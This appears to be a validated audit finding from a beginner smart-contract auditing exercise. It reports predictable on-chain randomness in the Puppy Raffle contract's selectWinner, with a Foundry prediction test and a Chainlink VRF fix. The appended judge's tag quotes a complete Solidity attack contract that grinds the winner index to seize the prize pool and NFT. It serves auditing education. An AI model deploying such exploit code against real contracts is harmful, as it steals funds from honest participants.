Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak randomness in `PuppyRaffle::selectWinner` lets anyone predict or manipulate the winner and the NFT rarity

zanydaisy23

================= DESCRIPTION =================

Description

PuppyRaffle::selectWinner derives both the winner and the puppy rarity from
block.timestamp, block.difficulty and msg.sender. None of these are secret: block
variables are known within the block (and influenceable by validators), and msg.sender
is chosen by the caller. On-chain "randomness" built from block data is predictable, so
the raffle outcome is not actually random and can be gamed.

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

All inputs are public and predictable at call time, so the result of the keccak256 can
be computed in advance.

Risk

Likelihood: High — selectWinner is callable by anyone once the raffle ends. An
attacker can compute winnerIndex with the same formula inside a contract and only
execute in a block where they would win. Validators can additionally influence
block.timestamp / block.difficulty.

Impact: High — an attacker can deterministically win the entire prize pool and force
the most valuable (legendary) rarity, defeating the fairness of the raffle and causing
loss of funds for honest participants.

Proof of Concept

The winner can be predicted before the call. This Foundry test computes the index with
the exact same formula and matches the actual winner:

function test_canPredictWinner() public {
// setUp: 4 players entered; warp past the raffle duration
vm.warp(block.timestamp + duration + 1);
​
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address predicted = puppyRaffle.players(predictedIndex);
​
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), predicted); // predicted the winner in advance
}

Recommended Mitigation

Do not use block variables (block.timestamp, block.difficulty, msg.sender) as a
source of randomness, because they are public and manipulable. Use a verifiable
randomness oracle such as Chainlink VRF, which returns a random word that cannot be
predicted or influenced by participants or validators. Use that word to pick the winner
and the rarity:

// 1) Request randomness from Chainlink VRF (VRFConsumerBaseV2).
// 2) In the fulfillment callback, use the returned randomWord:
function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
uint256 winnerIndex = randomWords[0] % players.length;
address winner = players[winnerIndex];
uint256 rarity = randomWords[0] % 100;
// ... continue the existing prize / mint logic with these values
}

This makes the winner and rarity impossible to predict or grind.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!